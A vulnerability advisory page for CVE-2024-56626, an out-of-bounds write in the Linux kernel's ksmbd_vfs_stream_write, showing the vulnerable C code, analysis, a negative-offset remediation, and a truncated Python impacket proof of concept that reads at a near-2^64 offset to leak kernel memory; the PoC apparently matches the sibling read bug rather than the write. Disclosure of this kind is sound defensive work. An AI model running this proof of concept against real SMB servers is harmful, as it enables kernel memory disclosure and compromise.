Linux Kernel: Out of bounds Write in ksmbd_vfs_stream_write
Critical9.8CVE-2024-56626 · Published Jan 9, 2025
### Summary The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer. ### Severity Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { char *stream_buf = NULL, *wbuf; struct mnt_idmap *idmap = file_mnt_idmap(fp->filp); size_t size; ssize_t v_len; int err = 0; ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n", *pos, count); size = *pos + count; // (1) if (size > XATTR_SIZE_MAX) { size = XATTR_SIZE_MAX; count = (*pos + count) - XATTR_SIZE_MAX; } v_len = ksmbd_vfs_getcasexattr(idmap, fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if (v_len < 0) { pr_err("not found stream in xattr : %zd\n", v_len); err = v_len; goto out; } if (v_len < size) ...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| ksmbd_vfs_stream_write Product | >= 5.15, < v6.13-rc2 | v6.13-rc2 |
Details and references
### Summary The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer. ### Severity Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { char *stream_buf = NULL, *wbuf; struct mnt_idmap *idmap = file_mnt_idmap(fp->filp); size_t size; ssize_t v_len; int err = 0; ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n", *pos, count); size = *pos + count; // (1) if (size > XATTR_SIZE_MAX) { size = XATTR_SIZE_MAX; count = (*pos + count) - XATTR_SIZE_MAX; } v_len = ksmbd_vfs_getcasexattr(idmap, fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if (v_len < 0) { pr_err("not found stream in xattr : %zd\n", v_len); err = v_len; goto out; } if (v_len < size) { wbuf = kvzalloc(size, GFP_KERNEL); if (!wbuf) { err = -ENOMEM; goto out; } if (v_len > 0) memcpy(wbuf, stream_buf, v_len); kvfree(stream_buf); stream_buf = wbuf; } memcpy(&stream_buf[*pos], buf, count); // (2) err = ksmbd_vfs_setxattr(idmap, &fp->filp->f_path, fp->stream.name, (void *)stream_buf, size, 0, true); if (err < 0) goto out; fp->filp->f_pos = *pos; err = 0; out: kvfree(stream_buf); return err; } ``` 1. **Insufficient Validation**: The calculation of the size variable at (1) (size = *pos + count;) allows for a negative value of *pos. 2. **Out-of-Bounds Write**: The memcpy at (2) uses *pos directly as an offset into stream_buf. If *pos is negative, this results in writing data to memory before the start of the allocated buffer. 3. **Attacker-Controlled Data**: The data being written (buf) comes directly from the user-supplied SMB write request, giving the attacker full control over the contents written out-of-bounds. ### Remediation The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like: if (offset < 0) { return -EINVAL; } This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read. ### Proof of Concept ``` from impacket import smb3 as smb, smbconnection from hexdump import hexdump class BugClient: def __init__(self, target, share, username, password, domain="", port=445): self.target = target self.share = share self.username = username self.password = password self.domain = domain self.port = port self.smbClient = smbconnection.SMBConnection( self.target, self.target, sess_port=self.port ) self.smbClient.login(self.username, self.password, self.domain) def leak_oob(self, file_path, how_much): try: # Connect to the share tree_id = self.smbClient.connectTree(self.share) # Open the file file_id = self.smbClient.openFile( tree_id, file_path, desiredAccess=smb.FILE_READ_DATA ) # Read the file contents at offset data = self.smbClient.readFile( tree_id, file_id, 18446744073709551615 - how_much, how_much ) # Close the file self.smbClient.closeFile(tree_id, file_id) # Disconnect from the tree self.smbClient.disconnectTree(tree_id) return data except Exception as e: print(f"Error reading file: {e}") return Non
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jan 102025 | ENGAGE - Server Displaying Sensitive Information | Low | No fix yet |
| Jan 92025 | Integer Overflow in eBPF DEVMAP map_delete_elem Leads to Out-of-Bounds | High7.8 | See the advisory |
| Jan 92025 | Linux Kernel: Integer Overflow in eBPF XSK map_delete_elem Leads to Out-of-Bounds | High7.8 | See the advisory |
| Jan 92025 | Linux Kernel: Out of bounds Read in ksmbd_vfs_stream_read | Critical9.1 | v6.13-rc2 |
| Dec 262024 | Apple: WebKit Canvas Denoising | Medium | No fix yet |
| Dec 232024 | MacPorts: Remote Code Execution | Medium | No fix yet |